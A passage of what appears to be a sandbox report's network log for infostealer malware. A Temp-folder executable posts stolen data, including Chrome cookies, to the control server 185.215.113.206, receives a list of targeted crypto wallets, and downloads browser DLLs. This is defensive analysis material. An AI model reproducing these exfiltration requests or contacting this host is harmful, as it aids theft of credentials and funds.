49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="message"fplugins------IJKKKFCFHCFIECBGDHID--
Dec 24, 2024 12:39:49.961929083 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 24, 2024 12:39:50.083357096 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.215.113.206 Content-Length: 7315 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 12:39:50.083401918 CET	7315	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 24, 2024 12:39:51.070411921 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:39:51.328013897 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 24, 2024 12:39:51.762506008 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 24, 2024 12:39:51.762607098 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 24, 2024 12:39:51.766665936 CET	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49828	185.215.113.206	80	6224	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:40:01.189587116 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIE Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DHJECFCGHIDGHIDHDHIE--
Dec 24, 2024 12:40:03.050349951 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:40:03.190989971 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Dec 24, 2024 12:40:04.171075106 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49868	185.215.113.206	80	6224	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:40:15.810604095 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 35 65 65 65 62 38 66 36 32 33 37 39 65 66 34 66 64 39 65 61 38 66 33 31 36 30 33 39 32 65 30 34 64 38 62 31 32 39 30 34 61 32 30 66 65 65 37 61 34 62 34 64 61 61 33 64 39 63 36 65 32 35 66 64 33 38 30 39 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"985eeeb8f62379ef4fd9ea8f3160392e04d8b12904a20fee7a4b4daa3d9c6e25fd38098e------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="file"------BKKJKFBKKECFHJKEBKEH--
Dec 24, 2024 12:40:17.686002016 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 12:40:18.166439056 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 24, 2024 12:40:18.602372885 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 24, 2024 12:40:18.602440119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 24, 2024 12:40:18.602475882 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 24, 2024 12:40:18.602587938 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 24, 2024 12:40:18.602601051 CET	896	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 24, 2024 12:40:18.602617025 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
Dec 24, 2024 12:40:18.602624893 CET	1236	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Dec 24, 2024 12:40:18.602631092 CET	1236	IN	Data Raw: d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f Data Ascii: fo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}
Dec 24, 2024 12:40:18.602761030 CET	1236	IN	Data Raw: 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 Data Ascii: 7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P
Dec 24, 2024 12:40:18.610672951 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Dec 24, 2024 12:40:18.610724926 CET	1236	IN	Data Raw: ff ff ff 8b 45 e4 13 85 5c ff ff ff 8b 5d 80 01 df 89 7d d0 8b 55 90 11 d0 89 45 e4 8b 4d b0 31 c1 89 4d b0 8b 75 94 31 fe 8b 7d c4 01 cf 89 7d c4 8b 45 bc 11 f0 89 45 bc 31 fb 31 c2 89 d8 0f a4 d0 08 0f a4 da 08 8b 7d d0 03 bd 30 ff ff ff 8b 4d Data Ascii: E\]}UEM1Mu1}}EE11}0M,}M1M1uuMM11(]uM]MM1U1}MMEE1}1U
Dec 24, 2024 12:40:20.111771107 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 24, 2024 12:40:20.547394991 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 24, 2024 12:40:21.454607010 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 24, 2024 12:40:21.889235973 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 24, 2024 12:40:22.677696943 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 24, 2024 12:40:23.112957954 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:40:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 24, 2024 12:40:26.194583893 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
